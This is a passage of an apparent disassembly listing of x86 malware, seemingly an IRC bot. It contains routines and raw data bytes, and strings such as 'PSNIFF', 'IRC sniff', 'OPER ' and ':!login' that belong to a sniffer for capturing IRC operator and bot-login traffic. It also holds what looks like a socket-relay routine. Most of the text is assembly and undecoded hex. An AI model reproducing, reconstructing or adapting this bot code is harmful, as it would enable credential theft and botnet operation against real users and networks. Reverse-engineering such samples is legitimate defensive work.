leave retn sub_4119F9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411AAB proc near ; DATA XREF: sub_4116D6+71o var_DC = byte ptr -0DCh var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_7 = byte ptr -7 var_6 = byte ptr -6 var_5 = byte ptr -5 var_4 = byte ptr -4 var_3 = byte ptr -3 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0DCh push ebx push esi xor ebx, ebx push edi mov edi, [ebp+arg_0] xor esi, esi mov [ebp+var_10], ebx mov [ebp+var_C], ebx loc_411AC4: ; CODE XREF: sub_411AAB+39j ; sub_411AAB+D7j ... push ebx lea eax, [ebp+arg_0+3] push 1 push eax push dword ptr [edi+0Ch] call dword_4CB9EC test eax, eax jle loc_411BC9 cmp [ebp+var_10], ebx jbe short loc_411AE6 dec [ebp+var_10] jmp short loc_411AC4 ; --------------------------------------------------------------------------- loc_411AE6: ; CODE XREF: sub_411AAB+34j mov al, byte ptr [ebp+arg_0+3] movsx ecx, al cmp ecx, 0FFh jz loc_411BA9 cmp al, 8 mov [ebp+var_C], ebx jz short loc_411B56 cmp al, 7Fh jz short loc_411B56 cmp al, 3 jnz short loc_411B11 push ebx push ebx nop call near ptr 2780122h jmp short loc_411B7D ; --------------------------------------------------------------------------- loc_411B11: ; CODE XREF: sub_411AAB+5Aj cmp al, 15h jnz short loc_411B33 xor esi, esi mov [ebp+var_8], 20h mov [ebp+var_7], 58h mov [ebp+var_6], 58h mov [ebp+var_5], 58h mov [ebp+var_4], 0Dh mov [ebp+var_3], 0Ah push 6 jmp short loc_411B69 ; --------------------------------------------------------------------------- loc_411B33: ; CODE XREF: sub_411AAB+68j mov [ebp+esi+var_DC], al inc esi push 1 cmp al, 0Dh mov [ebp+var_8], al pop ecx jnz short loc_411B6A mov [ebp+esi+var_DC], 0Ah mov [ebp+var_7], 0Ah inc esi push 2 jmp short loc_411B69 ; --------------------------------------------------------------------------- loc_411B56: ; CODE XREF: sub_411AAB+52j ; sub_411AAB+56j cmp esi, ebx jbe short loc_411B80 dec esi mov [ebp+var_8], 8 mov [ebp+var_7], 20h mov [ebp+var_6], 8 push 3 loc_411B69: ; CODE XREF: sub_411AAB+86j ; sub_411AAB+A9j pop ecx loc_411B6A: ; CODE XREF: sub_411AAB+98j push ebx lea eax, [ebp+var_8] push ecx push eax push dword ptr [edi+0Ch] call dword_4CBA24 test eax, eax jle short loc_411BC9 loc_411B7D: ; CODE XREF: sub_411AAB+64j mov al, byte ptr [ebp+arg_0+3] loc_411B80: ; CODE XREF: sub_411AAB+ADj cmp al, 0Dh jnz loc_411AC4 lea eax, [ebp+var_14] push ebx push eax lea eax, [ebp+var_DC] push esi push eax push dword ptr [edi+4] nop call near ptr 2700000h test eax, eax jz short loc_411BC9 xor esi, esi jmp loc_411AC4 ; --------------------------------------------------------------------------- loc_411BA9: ; CODE XREF: sub_411AAB+47j cmp [ebp+var_C], ebx jnz short loc_411BBA mov [ebp+var_C], 1 jmp loc_411AC4 ; --------------------------------------------------------------------------- loc_411BBA: ; CODE XREF: sub_411AAB+101j mov [ebp+var_10], 0Ah mov [ebp+var_C], ebx jmp loc_411AC4 ; --------------------------------------------------------------------------- loc_411BC9: ; CODE XREF: sub_411AAB+2Bj ; sub_411AAB+D0j ... pop edi pop esi pop ebx leave retn sub_411AAB endp ; --------------------------------------------------------------------------- word_411BCE dw 8B55h ; DATA XREF: sub_401ACD+2BC4o dd 0D4EC81ECh, 8B000002h, 56530845h, 8B106A57h, 0BD8D5BF0h dd 0FFFFFF2Ch, 5D892C6Ah, 0A5F359FCh, 0F633016Ah, 0A8B8895Fh dd 53000000h, 56EC458Dh, 0A36AE850h, 0C4830000h, 45C7660Ch dd 0FF0002ECh, 15FFC075h, 4CB9D4h, 6A57066Ah, 45896602h dd 0F07589EEh, 0BA5415FFh, 0F88B004Ch, 69C4458Bh, 234C0h dd 0B8895300h, 43E91Ch, 50EC458Dh, 15FF57h, 85004CBAh dd 21850FC0h, 6A000001h, 15FF570Ah, 4CB9FCh, 850FC085h dd 110h, 0FFC075FFh, 0FFFF2CB5h, 8D98E8FFh, 5059FFFFh dd 0FD2C858Dh, 9468FFFFh, 500042BCh, 0A5E5E8h, 10C48300h dd 75D07539h, 858D5620h, 0FFFFFD2Ch, 50CC75FFh, 0FF30858Dh dd 0FF50FFFFh, 0FFFF2CB5h, 7BC3E8FFh, 0C483FFFFh, 2C858D14h dd 50FFFFFDh, 4083E8h, 458D5900h, 458D50FCh, 0FF5750DCh dd 4CBA6815h, 0C475FF00h, 0B70FD88Bh, 8950DE45h, 75FFD875h dd 6015FFE0h, 50004CBAh, 0FD2C858Dh, 3068FFFFh, 50004357h dd 0A579E8h, 858D5300h, 0FFFFFD2Ch, 0E850196Ah, 0FFFF96BEh dd 69C84589h, 234C0h, 0C44D8B00h, 8920C483h, 43E91488h dd 8458D00h, 2C858D50h, 56FFFFFFh, 1DD36850h, 56560041h dd 0E2D6E890h, 4D8B0226h, 34C969C8h, 3B000002h, 248189C6h dd 740043E9h, 0D8753913h, 0FF63850Fh, 56AFFFFh, 0F149E890h dd 0EDEB0225h, 0EC1CE890h, 8D500226h, 0FFFD2C85h, 56F468FFh dd 0E8500043h, 0A4FEh, 0E90CC483h, 0FFFFFF39h, 6C15FF57h dd 0FF004CBAh, 858DC075h, 0FFFFFD2Ch, 4356C068h, 0DBE85000h dd 830000A4h, 75390CC4h, 562075D0h, 0FD2C858Dh, 75FFFFFFh dd 858D50CCh, 0FFFFFF30h, 2CB5FF50h, 0E8FFFFFFh, 0FFFF7AB9h dd 8D14C483h, 0FFFD2C85h, 79E850FFh, 0FF00003Fh, 0FE8C475h dd 59FFFF99h, 0E8905659h, 22CE230h, 555B5E5Fh, 0EC81EC8Bh dd 5D4h, 5308458Bh, 2C6A5756h, 8D59F08Bh, 0FFFF38BDh, 8BA5F3FFh dd 16AD475h, 69087589h, 234F6h, 0B68D5F00h, 43E91Ch, 0ACB889h dd 0DB330000h, 45C7068Bh, 5F8h, 30858900h, 8DFFFFFAh, 5350F845h dd 0FA2C858Dh, 5053FFFFh, 0FC5D8953h, 0FA2CBD89h, 15FFFFFFh dd 4CB9BCh, 1875C085h, 15FF36FFh, 4CBA6Ch, 0E80875FFh dd 0FFFF988Ah, 0E8905359h, 22CE1ACh, 30858D53h, 68FFFFFBh dd 408h, 0FF36FF50h, 4CB9EC15h, 7FC08500h, 0FF36FF18h dd 4CBA6C15h, 875FF00h, 0FF9859E8h, 905359FFh, 2CE17BE8h dd 30BD8002h, 4FFFFFBh, 1ED850Fh, 0BD800000h, 0FFFFFB31h dd 0E0850F01h, 38000001h, 7774BC5Dh, 50BC458Dh, 0FB38858Dh dd 0E850FFFFh, 0AB9Ch, 59C08559h, 458D6174h, 858D50BCh dd 0FFFFFB38h, 57F86850h, 0DDE80043h, 6800003Eh, 400h dd 0FB38858Dh, 5053FFFFh, 0FB309D88h, 85C6FFFFh, 0FFFFFB31h dd 0A082E85Dh, 0C4830000h, 30858D18h, 53FFFFFBh, 0FF50086Ah dd 2415FF36h, 0FF004CBAh, 6C15FF36h, 0FF004CBAh, 0C3E80875h dd 59FFFF97h, 0E5E89053h, 6A022CE0h, 0E8458D10h, 49E85053h dd 660000A0h, 0FB32858Bh, 0C483FFFFh, 4589660Ch, 34858BEAh dd 6AFFFFFBh, 26A5706h, 0E845C766h, 45890002h, 5415FFECh dd 8B004CBAh, 0FFFF83F8h, 15FF5D75h, 4CB968h, 57B86850h dd 45E80043h, 6800003Eh, 400h, 0FB38858Dh, 5053FFFFh, 0FB309D88h dd 85C6FFFFh, 0FFFFFB31h, 9FEAE85Bh, 0C4830000h, 30858D14h dd 53FFFFFBh, 0FF50086Ah, 2415FF36h, 0FF004CBAh, 6C15FF36h dd 0FF004CBAh, 2BE80875h, 59FFFF97h, 0E04EE853h, 8D90022Ch dd 106AE845h, 15FF5750h, 4CB97Ch, 75FFF883h, 6815FF5Dh dd 50004CB9h, 43577468h, 3DD6E800h, 680000h, 8D000004h dd 0FFFB3885h, 885053FFh, 0FFFB309Dh, 3185C6FFh, 5BFFFFFBh dd 9F7BE8h, 14C48300h, 0FB30858Dh, 6A53FFFFh, 36FF5008h dd 0BA2415FFh, 36FF004Ch, 0BA6C15FFh, 75FF004Ch, 96BCE808h dd 5359FFFFh, 0DFDEE890h, 68022Ch, 8D000004h, 0FFFB3885h dd 885053FFh, 0FFFB309Dh, 3185C6FFh, 5AFFFFFBh, 9F2FE8h dd 0CC48300h, 0FB30858Dh, 6A53FFFFh, 36FF5008h, 0BA2415FFh dd 36FF004Ch, 39E857h, 59590000h, 6C15FF57h, 0FF004CBAh dd 6C15FF36h, 0FF004CBAh, 5FE80875h, 59FFFF96h, 0DF82E853h dd 0FF90022Ch, 6C15FF36h, 0FF004CBAh, 47E80875h, 59FFFF96h dd 69E89053h ; --------------------------------------------------------------------------- fild qword ptr [edx+eax] push ebp mov ebp, esp sub esp, 504h push ebx mov ebx, [ebp+0Ch] push esi push edi xor edi, edi mov esi, 400h loc_4120AD: ; CODE XREF: ___:0041215Cj ; ___:0041218Cj mov [ebp-100h], ebx mov dword ptr [ebp-104h], 1 xor ecx, ecx lea eax, [ebp-100h] loc_4120C5: ; CODE XREF: ___:004120D3j mov edx, [ebp+8] cmp [eax], edx jz short loc_4120D5 inc ecx add eax, 4 cmp ecx, 1 jb short loc_4120C5 loc_4120D5: ; CODE XREF: ___:004120CAj cmp ecx, 1 jnz short loc_4120EA mov [ebp-0FCh], edx mov dword ptr [ebp-104h], 2 loc_4120EA: ; CODE XREF: ___:004120D8j push esi lea eax, [ebp-504h] push edi push eax call sub_41BF70 add esp, 0Ch lea eax, [ebp-104h] push edi push edi push edi push eax push edi call dword_4CB9BC lea eax, [ebp-104h] push eax push ebx call dword_4CB8C0 test eax, eax jz short loc_41214A push edi lea eax, [ebp-504h] push esi push eax push ebx call dword_4CB9EC cmp eax, 0FFFFFFFFh jz short loc_412192 push edi push eax lea eax, [ebp-504h] push eax push dword ptr [ebp+8] call dword_4CBA24 cmp eax, 0FFFFFFFFh jz short loc_412192 loc_41214A: ; CODE XREF: ___:0041211Cj lea eax, [ebp-104h] push eax push dword ptr [ebp+8] call dword_4CB8C0 test eax, eax jz loc_4120AD push edi lea eax, [ebp-504h] push esi push eax push dword ptr [ebp+8] call dword_4CB9EC cmp eax, 0FFFFFFFFh jz short loc_412192 push edi push eax lea eax, [ebp-504h] push eax push ebx call dword_4CBA24 cmp eax, 0FFFFFFFFh jnz loc_4120AD loc_412192: ; CODE XREF: ___:00412131j ; ___:00412148j ... pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- byte_412197 db 55h ; DATA XREF: sub_401ACD+20B3o ; sub_40BD91+106o dd 0EC81EC8Bh, 87Ch, 5308558Bh, 16A5756h, 0B958DB33h, 0A9h dd 0BD8DF28Bh, 0FFFFFC8Ch, 0F3026A53h, 9C85FFA5h, 6AFFFFFEh dd 0F0458902h, 89EC4589h, 8289F845h, 2A0h, 0BA5415FFh dd 0F08B004Ch, 75FFFE83h, 1906856h, 0E8900000h, 225ECABh dd 0FF289D39h, 2375FFFFh, 88858D53h, 0FFFFFFF8h, 0FFFF24B5h dd 858D50FFh, 0FFFFFEA4h, 8CB5FF50h, 0E8FFFFFCh, 0FFFF7655h dd 8D14C483h, 0FFF88885h, 15E850FFh, 0FF00003Bh, 0FFFE98B5h dd 94A8E8FFh, 5959FFFFh, 0C9E89053h, 8D022CDDh, 46AF045h dd 0FFFFBF50h, 46A0000h, 15FF5657h, 4CB9B4h, 6AEC458Dh dd 0FB6A5004h, 15FF5657h, 4CB9B4h, 0FE98858Bh, 106AFFFFh dd 234C069h, 89530000h, 43E91CB0h, 0D4458D00h, 9CF6E850h dd 0C4830000h, 45C7660Ch, 0FF0002D4h, 0FFFEA0B5h, 0D415FFFFh dd 66004CB9h, 8DD64589h, 106AD445h, 5D895650h, 15FFD8h dd 83004CBAh, 1975FFF8h, 138868h, 0EBE5E800h, 0FF900225h dd 0FFFE9C8Dh, 875FFFFh, 32FE9h, 90858D00h, 68FFFFFCh dd 429068h, 9BD0E850h, 3B590000h, 458959C3h, 684C75FCh dd 190h, 25EBB2E8h, 8D539002h, 0FFF88885h, 24B5FFFFh, 50FFFFFFh dd 0FEA4858Dh, 0FF50FFFFh, 0FFFC8CB5h, 7563E8FFh, 858DFFFFh dd 0FFFFF888h, 3A26E850h, 0B5FF0000h, 0FFFFFE98h, 0FF93B9E8h dd 1CC483FFh, 0D9E89053h, 8B022CDCh, 9F39087Dh, 2A0h, 27D840Fh dd 80BF0000h, 8D000000h, 0FFFF3085h, 505357FFh, 5E445C7h dd 0C7000000h, 1388E845h, 0B5890000h, 0FFFFF788h, 0F78485C7h dd 1FFFFh, 9E80000h, 8300009Ch, 458D0CC4h, 8D5350E4h, 0FFF78485h dd 535053FFh, 0B9BC15FFh, 0C085004Ch, 2218E0Fh, 88A00000h dd 8B0043DBh, 888588CFh, 33FFFFFAh, 89BD8DC0h, 0C7FFFFFAh dd 10F445h, 0ABF30000h, 8DAAAB66h, 8D50F445h, 5350C445h dd 0FF30858Dh, 8068FFFFh, 50000000h, 0AC15FF56h, 0FF004CB9h dd 4589C875h, 6015FFF8h, 50004CBAh, 50B0458Dh, 9E8DE8h dd 309D3800h, 59FFFFFFh, 0AA850F59h, 80000001h, 0FFFF31BDh dd 850F01FFh, 0A3h, 0FD94858Dh, 0E850FFFFh, 95C0h, 75FF5353h dd 0B681E8FCh, 75FF0000h, 8C858DFCh, 88FFFFFAh, 0FFFA889Dh dd 8985C6FFh, 3FFFFFAh, 20068h, 50016A00h, 0FA8A9D88h dd 85C6FFFFh, 0FFFFFA8Bh, 96C0E801h, 0C4830000h, 0C44D8D20h dd 83F84589h, 75FF04C0h, 505351F4h, 0FA88858Dh, 5650FFFFh dd 0BA3815FFh, 9D39004Ch, 0FFFFFF28h, 8D532375h, 0FFF88885h dd 24B5FFFFh, 50FFFFFFh, 0FEA4858Dh, 0FF50FFFFh, 0FFFC8CB5h dd 73E7E8FFh, 0C483FFFFh, 88858D14h, 50FFFFF8h, 38A7E8h dd 10E95900h, 80000001h, 0FFFF31BDh, 850F04FFh, 0EDh, 0FF338D8Ah dd 858AFFFFh, 0FFFFFF32h, 88FFF980h, 0FFFA889Dh, 8985C6FFh dd 3FFFFFAh, 0C0FE1275h, 8588C932h, 0FFFFFA8Ah, 0FA8B9D88h dd 0EEBFFFFh, 8588C1FEh, 0FFFFFA8Ah, 0FA8B8D88h, 0B60FFFFFh dd 0C9B60FC0h, 308E0C1h, 200BFC1h, 0E0C10000h, 53C72B09h dd 0FC75FF50h, 0B58AE8h, 0FC75FF00h, 0FA8C858Dh, 6A57FFFFh dd 0E7E85001h, 83000095h, 0F88B1CC4h, 89C4458Dh, 75FFF87Dh dd 478D50F4h, 8D505304h, 0FFFA8885h, 0FF5650FFh, 4CBA3815h dd 75FB3B00h, 0B0458D6Eh, 88858D50h, 68FFFFF8h, 434798h dd 9D18E850h, 0C4830000h, 289D390Ch, 75FFFFFFh, 858D5323h dd 0FFFFF888h, 0FF24B5FFh, 8D50FFFFh, 0FFFEA485h, 0B5FF50FFh dd 0FFFFFC8Ch, 0FF72F0E8h, 14C483FFh, 0F888858Dh, 0E850FFFFh dd 37B0h, 0E4DC05FFh, 0EB59004Ch, 0F475FF16h, 50C4458Dh dd 68096A53h, 435838h, 3815FF56h, 39004CBAh, 8F0FF85Dh dd 0FFFFFD77h, 56087D8Bh, 0BA6C15FFh, 75FF004Ch, 9479E8FCh dd 8DFF0000h, 0FFFFFE9Ch, 2A09F39h, 75590000h, 98B5FF13h dd 0E8FFFFFEh, 0FFFF90FAh, 1DE85359h, 90022CDAh, 3E868h dd 0A8E89000h, 570225E8h, 0FFFBA2E8h, 5B5E5FFFh, 4C2C9h ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 200h cmp dword ptr [ebp+98h], 0 jz short loc_41266C push esi mov esi, offset dword_435848 loc_412614: ; CODE XREF: ___:00412667j push esi push dword ptr [ebp+0Ch] call sub_41C2E0 pop ecx test eax, eax pop ecx jz short loc_41265B push esi lea eax, [ebp-200h] push dword ptr [ebp+8] push offset dword_436BB4 push 200h push eax call sub_41C360 push 0 lea eax, [ebp-200h] push dword ptr [ebp+9Ch] push eax lea eax, [ebp+18h] push eax push dword ptr [ebp+10h] call sub_409869 add esp, 28h loc_41265B: ; CODE XREF: ___:00412621j add esi, 80h cmp esi, offset dword_436448 jb short loc_412614 pop esi jmp short loc_4126A3 ; --------------------------------------------------------------------------- loc_41266C: ; CODE XREF: ___:0041260Cj push dword ptr [ebp+8] lea eax, [ebp-200h] push offset aS_1 ; "%s" push 200h push eax call sub_41C360 push 0 lea eax, [ebp-200h] push dword ptr [ebp+9Ch] push eax lea eax, [ebp+18h] push eax push dword ptr [ebp+10h] call sub_409869 add esp, 24h loc_4126A3: ; CODE XREF: ___:0041266Aj xor eax, eax leave retn ; --------------------------------------------------------------------------- byte_4126A7 db 55h ; DATA XREF: sub_401ACD+7374o dd 0EC81EC8Bh, 920h, 5308458Bh, 0A5835756h, 0FFFFF6E0h dd 83266A00h, 59000865h, 0BD8DF08Bh, 0FFFFFF20h, 80C7A5F3h dd 94h, 1, 0FFB9h, 8DC03300h, 0FFF6E4BDh, 0FFABF3FFh, 4CB95815h dd 0B84D8D00h, 50513C6Ah, 0FFF84589h, 4CB97015h, 200BB00h dd 86A0000h, 0E78DE890h, 15FF0225h, 4CB958h, 0FF8453Bh dd 16184h, 0B84D8D00h, 50513C6Ah, 0FFF84589h, 4CB97015h dd 0A87D8300h, 0CC840F00h, 8D000000h, 0FFFD2085h, 81E850FFh dd 85000092h, 747659C0h, 50B8458Dh, 9273E8h, 1F88300h dd 8D657359h, 0FFFD2085h, 858D50FFh, 0FFFFFB20h, 436C3C68h dd 0FBE85000h, 8100009Ah, 8CECh, 0B8458D00h, 0FF20B58Dh dd 266AFFFFh, 50FC8B59h, 0FB20858Dh, 0A5F3FFFFh, 0FE6EE850h dd 4589FFFFh, 858D5308h, 0FFFFFD20h, 0E850006Ah, 97D0h dd 0ACC481h, 858D0000h, 0FFFFFB20h, 50006A53h, 97BBE8h dd 0CC48300h, 0FD20858Dh, 0E850FFFFh, 91FCh, 0F59C085h dd 0AD86h, 0B8458D00h, 91EAE850h, 0C0850000h, 9B860F59h dd 8D000000h, 0FFFD2085h, 858D50FFh, 0FFFFFB20h, 436C3C68h dd 6FE85000h, 8100009Ah, 8CECh, 8D34EB00h, 0E850B845h dd 91B8h, 0F59C085h, 11486h, 0B8458D00h, 20858D50h, 50FFFFFDh dd 0FB20858Dh, 1C68FFFFh, 5000436Ch, 9A39E8h, 88EC8100h dd 6A000000h, 0B8458D26h, 20B58D59h, 8BFFFFFFh, 858D50FCh dd 0FFFFFB20h, 0E850A5F3h, 0FFFFFDACh, 53084589h, 0FD20858Dh dd 6AFFFFh, 970EE850h, 0C4810000h, 0ACh, 0FB20858Dh, 6A53FFFFh dd 0F9E85000h, 83000096h, 7D830CC4h, 840F00A8h, 0A1h, 15FF016Ah dd 4CB9A0h, 80013D66h, 8F850Fh, 858D0000h, 0FFFFFD20h dd 911EE850h, 0C0850000h, 0FF7E7659h, 4CB95815h, 0E08D8D00h dd 6AFFFFFAh, 0FF50513Ch, 4CB97015h, 20858D00h, 50FFFFFDh dd 0FB20858Dh, 3C68FFFFh, 5000436Ch, 9991E8h, 8CEC8100h dd 8D000000h, 0FFFAE085h, 20B58DFFh, 6AFFFFFFh, 0FC8B5926h dd 20858D50h, 0F3FFFFFBh, 1E850A5h, 89FFFFFDh, 8D530845h dd 0FFFD2085h, 50006AFFh, 9663E8h, 0ACC48100h, 8D000000h dd 0FFFB2085h, 6A53FFh, 964EE850h, 0C4830000h, 0FC45C70Ch dd 43644Ch, 15FF106Ah, 4CB8A8h, 8BF0BF0Fh, 788BFC45h, 15FF57FCh dd 4CB9A0h, 7480C4F6h, 0FF146A7Bh, 4CB8A815h, 0C0856600h dd 0FE831F74h, 831A7EFFh, 157E40FFh, 7D5BFF83h, 0BD84C710h dd 0FFFFF6E0h, 1, 1BDE9h, 0FF146A00h, 4CB8A815h, 0C0856600h dd 0F6851E74h, 0FF832E7Dh, 83157E40h, 107D5BFFh, 0E0BD84C7h dd 2FFFFF6h, 0E9000000h, 192h, 107DF685h, 0E0BD84C7h, 3FFFFF6h dd 0E9000000h, 17Eh, 0E0BD84C7h, 4FFFFF6h, 0E9000000h dd 16Eh, 0E0BDB48Bh, 8DFFFFF6h, 0F6E0BD84h, 0F685FFFFh dd 158840Fh, 20830000h, 20858D00h, 83FFFFFDh, 755008FFh dd 8FD2E813h, 0A4800000h, 0FFFD1F05h, 0E95900FFh, 136h dd 8FBFE8h, 1B93D00h, 76590000h, 5815FF39h, 8D004CB9h dd 3C6AB84Dh, 15FF5051h, 4CB970h, 0A87D83h, 858D0E74h dd 0FFFFFD20h, 6C046850h, 55EB0043h, 50B8458Dh, 0FD20858Dh dd 6850FFFFh, 436BE8h, 0FF8364EBh, 0B9850F0Dh, 8D000000h dd 0FFFD2085h, 69E850FFh, 8500008Fh, 840F59C0h, 0D2h, 0B95815FFh dd 4D8D004Ch, 513C6AB8h, 7015FF50h, 83004CB9h, 7400A87Dh dd 20858D1Dh, 50FFFFFDh, 436BD468h, 20858D00h, 50FFFFFBh dd 97D5E8h, 0CC48300h, 458D1FEBh, 858D50B8h, 0FFFFFD20h dd 6BBC6850h, 858D0043h, 0FFFFFB20h, 97B4E850h, 0C4830000h dd 98EC8110h, 8D000000h, 0B58DB845h, 0FFFFFF20h, 8B59266Ah dd 858D50FCh, 0FFFFFB20h, 0E850A5F3h, 0FFFFFB24h, 53084589h dd 0FD20858Dh, 6AFFFFh, 9486E850h, 0C4810000h, 0ACh, 0FB20858Dh dd 6A53FFFFh, 71E85000h, 83000094h, 2EEB0CC4h, 7401FE83h dd 3FE8314h, 0FE830F74h, 83057402h, 1A7504FEh, 0EBFC75FFh dd 0FC458B07h, 5007C083h, 0FD20858Dh, 0E850FFFFh, 9D70h dd 45835959h, 7D8114FCh, 436B7CFCh, 0E98C0F00h, 83FFFFFDh dd 0F00087Dh, 0FFFBB584h, 24B5FFFFh, 0E8FFFFFFh, 0FFFF8B7Eh dd 90006A59h, 2CD49FE8h db 2 byte_412B61 db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+4150o dd 102B4B8h, 9992E800h, 558B0000h, 6A575608h, 0F28B5801h dd 0BD8D256Ah, 0FFFFFF4Ch, 0F8458959h, 8289A5F3h, 90h dd 106AF633h, 56E4458Dh, 93D6E850h, 0C4830000h, 45C7660Ch dd 560002E4h, 0B9D415FFh, 0B5FF004Ch, 0FFFFFF4Ch, 0E6458966h dd 0FF7E4DE8h, 0FF5059FFh, 4CBA1415h, 36A5600h, 4589026Ah dd 5415FFE8h, 8B004CBAh, 0FFFF83F8h, 75FC7D89h, 6815FF5Dh dd 50004CB9h, 0FD4C858Dh, 9C68FFFFh, 50004375h, 9675E8h dd 0CC48300h, 75D87539h, 858D5620h, 0FFFFFD4Ch, 50D475FFh dd 0FF50858Dh, 0FF50FFFFh, 0FFFF4CB5h, 6C53E8FFh, 0C483FFFFh dd 4C858D14h, 50FFFFFDh, 3113E8h, 0D075FF00h, 0FF8AA9E8h dd 565959FFh, 2CD3CBE8h, 458B9002h, 69106AD0h, 234C0h dd 1CB88900h, 8D0043E9h, 5750E445h, 0BA0015FFh, 0F883004Ch dd 0FF6475FFh, 4CB96815h, 858D5000h, 0FFFFFD4Ch, 43757068h dd 0F7E85000h, 83000095h, 75390CC4h, 562075D8h, 0FD4C858Dh dd 75FFFFFFh, 858D50D4h, 0FFFFFF50h, 4CB5FF50h, 0E8FFFFFFh dd 0FFFF6BD5h, 8D14C483h, 0FFFD4C85h, 95E850FFh, 59000030h dd 6C15FF57h, 0FF004CBAh, 23E8D075h, 59FFFF8Ah, 45E89056h dd 56022CD3h, 56E0458Dh, 8D565650h, 46AF845h, 16850h, 0FF579800h dd 4CB98015h, 0FFF88300h, 15FF6475h, 4CB968h, 4C858D50h dd 68FFFFFDh, 437540h, 9574E850h, 0C4830000h, 0D875390Ch dd 8D562075h, 0FFFD4C85h, 0D475FFFFh, 50858D50h, 50FFFFFFh dd 0FF4CB5FFh, 52E8FFFFh, 83FFFF6Bh, 858D14C4h, 0FFFFFD4Ch dd 3012E850h, 57590000h, 0BA6C15FFh, 75FF004Ch, 89A0E8D0h dd 5659FFFFh, 2CD2C3E8h, 0BB539002h, 436C58h, 0FFFFBFh dd 4C858D00h, 57FFFEFDh, 19E85056h, 83000092h, 858D0CC4h dd 0FFFEFD4Ch, 0FF505756h, 15FFFC75h, 4CB9ECh, 0FFFF883h dd 0FC84h, 55BD8000h, 6FFFEFDh, 858BC675h, 0FFFEFD58h dd 0FD6DBD80h, 8918FFFEh, 0B475F445h, 0FD74858Dh, 3468FFFEh dd 50004375h, 953FE8h, 0C0855900h, 8D9D7559h, 0FEFD7485h dd 752468FFh, 0E8500043h, 9528h, 59C08559h, 0C38B8675h dd 0C085FF33h, 0FF7A840Fh, 5D89FFFFh, 858D5008h, 0FFFEFD74h dd 9506E850h, 85590000h, 0F7559C0h, 8458347h, 8458B18h dd 55E9E375h, 8DFFFFFFh, 0FEFD7485h, 0B5FF50FFh, 0FFFEFD60h dd 0B90415FFh, 0B70F004Ch, 75FF50C0h, 6015FFF4h, 50004CBAh dd 8B7F048Dh, 6C6CC504h, 34FF0043h, 436C4885h, 4C858D00h dd 68FFFFFDh, 4374F0h, 20068h, 29E85000h, 83000095h, 75391CC4h dd 562075D8h, 0FD4C858Dh, 75FFFFFFh, 858D50D4h, 0FFFFFF50h dd 4CB5FF50h, 0E8FFFFFFh, 0FFFF6A0Dh, 8D14C483h, 0FFFD4C85h dd 0CDE850FFh, 5900002Eh, 0FFFED3E9h, 6815FFFFh, 50004CB9h dd 4374C468h, 4C858D00h, 68FFFFFDh, 200h, 94D2E850h, 0C4830000h dd 0D8753910h, 5620755Bh, 0FD4C858Dh, 75FFFFFFh, 858D50D4h dd 0FFFFFF50h, 4CB5FF50h, 0E8FFFFFFh, 0FFFF69B5h, 8D14C483h dd 0FFFD4C85h, 75E850FFh, 5900002Eh, 0FFFC75FFh, 4CBA6C15h dd 0D075FF00h, 0FF8801E8h, 905659FFh, 2CD123E8h db 2 ; =============== S U B R O U T I N E ======================================= sub_412EDD proc near ; CODE XREF: sub_4131EC+213p ; sub_4131EC+239p arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov dword_4CE734, eax mov eax, offset dword_4CE734 retn sub_412EDD endp ; =============== S U B R O U T I N E ======================================= sub_412EEC proc near ; CODE XREF: sub_4131EC+2BFp arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push offset aBotSniff ; "Bot sniff" push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jz short loc_412F06 loc_412F02: ; CODE XREF: sub_412EEC+29j ; sub_412EEC+3Aj ... xor al, al pop esi retn ; --------------------------------------------------------------------------- loc_412F06: ; CODE XREF: sub_412EEC+14j push offset aFaak ; "#FAAK#" push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jnz short loc_412F02 push offset aPsniff_1 ; "[PSNIFF]:" push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jnz short loc_412F02 push offset aPsniff_0 ; "PSNIFF//" push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jnz short loc_412F02 push offset aJoin_0 ; "JOIN #" push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jz short loc_412F4E loc_412F4A: ; CODE XREF: sub_412EEC+71j ; sub_412EEC+82j ... mov al, 1 pop esi retn ; --------------------------------------------------------------------------- loc_412F4E: ; CODE XREF: sub_412EEC+5Cj ; DATA XREF: ___:off_43ACE0o push offset a302_0 ; "302 " push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jnz short loc_412F4A push offset a366 ; "366 " push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jnz short loc_412F4A push offset a_login_0 ; ":.login" push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jnz short loc_412F4A push offset aLogin_1 ; ":!login" push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jnz short loc_412F4A push offset aLogin_0 ; ":!Login" push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jnz short loc_412F4A push offset a_login ; ":.Login" push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jnz short loc_412F4A push offset a_ident ; ":.ident" push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jnz short loc_412F4A push offset aIdent_0 ; ":!ident" push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jnz loc_412F4A push offset a_hashin ; ":.hashin" push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jnz loc_412F4A push offset aHashin ; ":!hashin" push esi call sub_41C2E0 pop ecx test eax, eax pop ecx pop esi setnz al retn sub_412EEC endp ; =============== S U B R O U T I N E ======================================= sub_413003 proc near ; CODE XREF: sub_4131EC+2F8p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push offset aIrcSniff ; "IRC sniff" push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jz short loc_41301D loc_413019: ; CODE XREF: sub_413003+29j xor al, al pop esi retn ; --------------------------------------------------------------------------- loc_41301D: ; CODE XREF: sub_413003+14j push offset aFaak ; "#FAAK#" push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jnz short loc_413019 push offset aOper_0 ; "OPER " push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jz short loc_413043 loc_41303F: 